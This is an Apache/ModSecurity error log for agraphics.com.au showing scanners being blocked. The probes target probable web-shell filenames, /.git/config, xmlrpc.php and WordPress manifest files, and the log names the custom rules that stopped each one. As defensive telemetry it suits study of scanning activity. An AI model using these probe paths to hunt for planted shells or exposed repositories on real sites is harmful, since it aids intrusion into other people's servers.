[Sat Apr 11 04:02:34.169786 2026] [:error] [pid 2723:tid 2789] [client 135.116.194.58:5046] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "adlXWoNy3DfGNAwLjcO0QAAAAIk"]
[Sat Apr 11 04:02:34.693016 2026] [:error] [pid 2723:tid 2804] [client 135.116.194.58:5119] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "adlXWoNy3DfGNAwLjcO0QgAAAJg"]
[Sat Apr 11 04:02:35.217576 2026] [:error] [pid 2723:tid 2786] [client 135.116.194.58:4974] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "adlXW4Ny3DfGNAwLjcO0RgAAAIY"]
[Sat Apr 11 04:02:35.740302 2026] [:error] [pid 2812:tid 2818] [client 135.116.194.58:4966] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "adlXW9mkbBYp4LlMowsGNQAAAMM"]
[Sat Apr 11 04:02:36.269464 2026] [:error] [pid 2721:tid 2749] [client 135.116.194.58:4956] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "adlXXDZWWL4OaRcuwkjJWwAAABc"]
[Sat Apr 11 04:02:36.793712 2026] [:error] [pid 2723:tid 2798] [client 135.116.194.58:4983] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "adlXXINy3DfGNAwLjcO0TQAAAJI"]
[Sat Apr 11 04:02:38.371927 2026] [:error] [pid 2722:tid 2770] [client 135.116.194.58:54376] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "adlXXo_R23QDTmaQHyGDdwAAAFE"]
[Sat Apr 11 04:02:38.983452 2026] [:error] [pid 2721:tid 2726] [client 135.116.194.58:4874] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "adlXXjZWWL4OaRcuwkjJXwAAAAA"]
[Sat Apr 11 04:02:39.605775 2026] [:error] [pid 2723:tid 2797] [client 135.116.194.58:4924] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "adlXX4Ny3DfGNAwLjcO0VQAAAJE"]
[Sat Apr 11 04:02:40.173821 2026] [:error] [pid 2721:tid 2743] [client 135.116.194.58:5020] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "adlXYDZWWL4OaRcuwkjJYwAAABE"]
[Sat Apr 11 04:02:40.727320 2026] [:error] [pid 2721:tid 2742] [client 135.116.194.58:54445] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "adlXYDZWWL4OaRcuwkjJbQAAABA"]
[Sat Apr 11 04:02:41.276484 2026] [:error] [pid 2723:tid 2790] [client 135.116.194.58:5050] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "adlXYYNy3DfGNAwLjcO0XAAAAIo"]
[Sat Apr 11 04:02:41.804384 2026] [:error] [pid 2723:tid 2801] [client 135.116.194.58:4745] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "adlXYYNy3DfGNAwLjcO0YAAAAJU"]
[Sat Apr 11 04:02:42.342007 2026] [:error] [pid 2812:tid 2839] [client 135.116.194.58:5086] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "adlXYtmkbBYp4LlMowsGTwAAANg"]
[Sat Apr 11 04:02:43.872747 2026] [:error] [pid 2812:tid 2827] [client 135.116.194.58:5091] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "adlXY9mkbBYp4LlMowsGVQAAAMw"]
[Sat Apr 11 04:02:44.402912 2026] [:error] [pid 2812:tid 2838] [client 135.116.194.58:4800] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "adlXZNmkbBYp4LlMowsGWgAAANc"]
[Sat Apr 11 04:02:44.957617 2026] [:error] [pid 2722:tid 2753] [client 135.116.194.58:5074] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "adlXZI_R23QDTmaQHyGDfwAAAEA"]
[Sat Apr 11 04:02:45.544707 2026] [:error] [pid 2721:tid 2744] [client 135.116.194.58:54383] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "adlXZTZWWL4OaRcuwkjJcgAAABI"]
[Sat Apr 11 04:02:46.724603 2026] [:error] [pid 2812:tid 2831] [client 135.116.194.58:4817] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "adlXZtmkbBYp4LlMowsGbwAAANA"]
[Sat Apr 11 05:47:46.439420 2026] [:error] [pid 33288:tid 33308] [client 4.245.205.135:52007] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adlwAmJmwJFFPEgRHfEzSwAAANI"]
[Sat Apr 11 05:47:47.034229 2026] [:error] [pid 33171:tid 33200] [client 4.245.205.135:64677] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adlwA7oqTMlo30hcVw9ZGQAAAA4"]
[Sat Apr 11 05:47:47.840356 2026] [:error] [pid 33288:tid 33311] [client 4.245.205.135:53368] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adlwA2JmwJFFPEgRHfEzXQAAANU"]
[Sat Apr 11 05:47:48.501046 2026] [:error] [pid 33288:tid 33309] [client 4.245.205.135:64658] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adlwBGJmwJFFPEgRHfEzZQAAANM"]
[Sat Apr 11 06:14:36.987354 2026] [:error] [pid 15244:tid 15254] [client 149.102.93.227:52977] [client 149.102.93.227] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.102.93.227, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adl2TIkdEsz5NeAq8w0pdgAAAQg"]
[Sat Apr 11 06:14:36.999424 2026] [proxy_fcgi:error] [pid 15244:tid 15254] [client 149.102.93.227:52977] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 08:14:03.287719 2026] [proxy_fcgi:error] [pid 33173:tid 33265] [client 72.146.8.12:14521] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 08:14:03.520831 2026] [proxy_fcgi:error] [pid 33173:tid 33259] [client 72.146.8.12:14521] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 08:14:03.757212 2026] [proxy_fcgi:error] [pid 33173:tid 33267] [client 72.146.8.12:14521] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 08:14:03.990590 2026] [proxy_fcgi:error] [pid 33173:tid 33266] [client 72.146.8.12:14521] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 08:14:04.223123 2026] [proxy_fcgi:error] [pid 33173:tid 33247] [client 72.146.8.12:14521] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 08:14:04.455660 2026] [proxy_fcgi:error] [pid 33173:tid 33251] [client 72.146.8.12:14521] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 08:14:04.688940 2026] [proxy_fcgi:error] [pid 33173:tid 33250] [client 72.146.8.12:14521] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 09:42:42.373298 2026] [:error] [pid 34822:tid 34844] [client 157.15.40.61:60017] [client 157.15.40.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/system/js/core.js"] [unique_id "admnEtoScBMkNZUKMZ3ZqwAAARE"]
[Sat Apr 11 11:16:29.309136 2026] [:error] [pid 2188:tid 2262] [client 188.27.147.201:57092] [client 188.27.147.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.27.147.201, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adm9DYDhDA-Xtn2nRSfK4wAAAMY"]
[Sat Apr 11 11:16:29.324055 2026] [proxy_fcgi:error] [pid 2188:tid 2262] [client 188.27.147.201:57092] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 11:27:11.067734 2026] [:error] [pid 2297:tid 2325] [client 159.89.55.133:49030] [client 159.89.55.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "adm_j7XJS-Jji11jZk2OxgAAARg"]
[Sat Apr 11 12:47:07.334773 2026] [:error] [pid 2297:tid 2306] [client 34.168.223.2:53756] [client 34.168.223.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.168.223.2, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adnSS7XJS-Jji11jZk2z9wAAAQU"]
[Sat Apr 11 12:47:07.344772 2026] [proxy_fcgi:error] [pid 2297:tid 2306] [client 34.168.223.2:53756] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 12:47:09.382897 2026] [:error] [pid 2297:tid 2321] [client 34.168.223.2:53756] [client 34.168.223.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "adnSTbXJS-Jji11jZk20BgAAARQ"]
[Sat Apr 11 12:47:09.741880 2026] [:error] [pid 11067:tid 11072] [client 34.168.223.2:59789] [client 34.168.223.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "adnSTcW3w7N67R04YCJZ4wAAAEM"]
[Sat Apr 11 12:47:10.132182 2026] [:error] [pid 2297:tid 2314] [client 34.168.223.2:63083] [client 34.168.223.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "adnSTrXJS-Jji11jZk20BwAAAQ0"]
[Sat Apr 11 12:47:10.485466 2026] [:error] [pid 11067:tid 11085] [client 34.168.223.2:61651] [client 34.168.223.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "adnSTsW3w7N67R04YCJZ5gAAAFA"]
[Sat Apr 11 12:47:10.819540 2026] [:error] [pid 11067:tid 11089] [client 34.168.223.2:61637] [client 34.168.223.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "adnSTsW3w7N67R04YCJZ6AAAAFQ"]
[Sat Apr 11 12:47:11.147178 2026] [:error] [pid 2186:tid 2213] [client 34.168.223.2:62330] [client 34.168.223.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "adnST8ibnOEEvcO8wPLrTQAAAJY"]
[Sat Apr 11 12:47:11.474762 2026] [:error] [pid 11067:tid 11087] [client 34.168.223.2:64331] [client 34.168.223.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "adnST8W3w7N67R04YCJZ7QAAAFI"]
[Sat Apr 11 12:53:10.287815 2026] [:error] [pid 11067:tid 11091] [client 94.247.172.129:11347] [client 94.247.172.129] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.agraphics.com.au|F|4"] [data "close, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.agraphics.com.au"] [uri "/"] [unique_id "adnTtsW3w7N67R04YCJd2wAAAFY"]
[Sat Apr 11 13:32:37.691967 2026] [:error] [pid 2297:tid 2303] [client 216.73.216.50:16722] [client 216.73.216.50] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||agraphics.com.au|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "agraphics.com.au"] [uri "/robots.txt"] [unique_id "adnc9bXJS-Jji11jZk3JEAAAAQI"]
[Sat Apr 11 14:11:36.288347 2026] [:error] [pid 11067:tid 11075] [client 157.15.40.61:55882] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "adnmGMW3w7N67R04YCKQRgAAAEY"]
[Sat Apr 11 14:11:36.538544 2026] [:error] [pid 2188:tid 2275] [client 157.15.40.61:55949] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/style.php"] [unique_id "adnmGIDhDA-Xtn2nRScJiAAAANM"]
[Sat Apr 11 14:11:36.800614 2026] [:error] [pid 2186:tid 2213] [client 157.15.40.61:56041] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/style.php"] [unique_id "adnmGMibnOEEvcO8wPL9GAAAAJY"]
[Sat Apr 11 14:11:37.064202 2026] [:error] [pid 2186:tid 2205] [client 157.15.40.61:56114] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/style.php"] [unique_id "adnmGcibnOEEvcO8wPL9HwAAAI8"]
[Sat Apr 11 14:11:37.321933 2026] [:error] [pid 11067:tid 11086] [client 157.15.40.61:56188] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style.php"] [unique_id "adnmGcW3w7N67R04YCKQeAAAAFE"]
[Sat Apr 11 14:11:37.588625 2026] [:error] [pid 2297:tid 2314] [client 157.15.40.61:56280] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "adnmGbXJS-Jji11jZk3ZBwAAAQ0"]
[Sat Apr 11 14:11:37.854620 2026] [:error] [pid 11067:tid 11081] [client 157.15.40.61:56383] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "adnmGcW3w7N67R04YCKQrwAAAEw"]
[Sat Apr 11 14:11:38.132974 2026] [:error] [pid 11067:tid 11074] [client 157.15.40.61:56495] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/flower.php"] [unique_id "adnmGsW3w7N67R04YCKQwAAAAEU"]
[Sat Apr 11 14:11:38.912187 2026] [:error] [pid 2186:tid 2197] [client 157.15.40.61:56621] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "adnmGsibnOEEvcO8wPL9ewAAAIc"]
[Sat Apr 11 14:11:40.326025 2026] [:error] [pid 11067:tid 11083] [client 157.15.40.61:56899] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "adnmHMW3w7N67R04YCKQ3wAAAE4"]
[Sat Apr 11 14:11:41.646727 2026] [:error] [pid 11067:tid 11077] [client 157.15.40.61:57127] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "adnmHcW3w7N67R04YCKRIwAAAEg"]
[Sat Apr 11 14:11:45.513374 2026] [:error] [pid 11067:tid 11089] [client 157.15.40.61:57788] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/blurbs.php"] [unique_id "adnmIcW3w7N67R04YCKSAgAAAFQ"]
[Sat Apr 11 14:11:48.089776 2026] [:error] [pid 2297:tid 2325] [client 157.15.40.61:57842] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/akcc.php"] [unique_id "adnmJLXJS-Jji11jZk3avgAAARg"]
[Sat Apr 11 14:11:48.768185 2026] [:error] [pid 2187:tid 2239] [client 157.15.40.61:58342] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "adnmJA4J29_qQi0FkjiIzwAAAAs"]
[Sat Apr 11 14:11:52.047592 2026] [:error] [pid 2297:tid 2303] [client 157.15.40.61:58408] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/shelp.php"] [unique_id "adnmKLXJS-Jji11jZk3bhgAAAQI"]
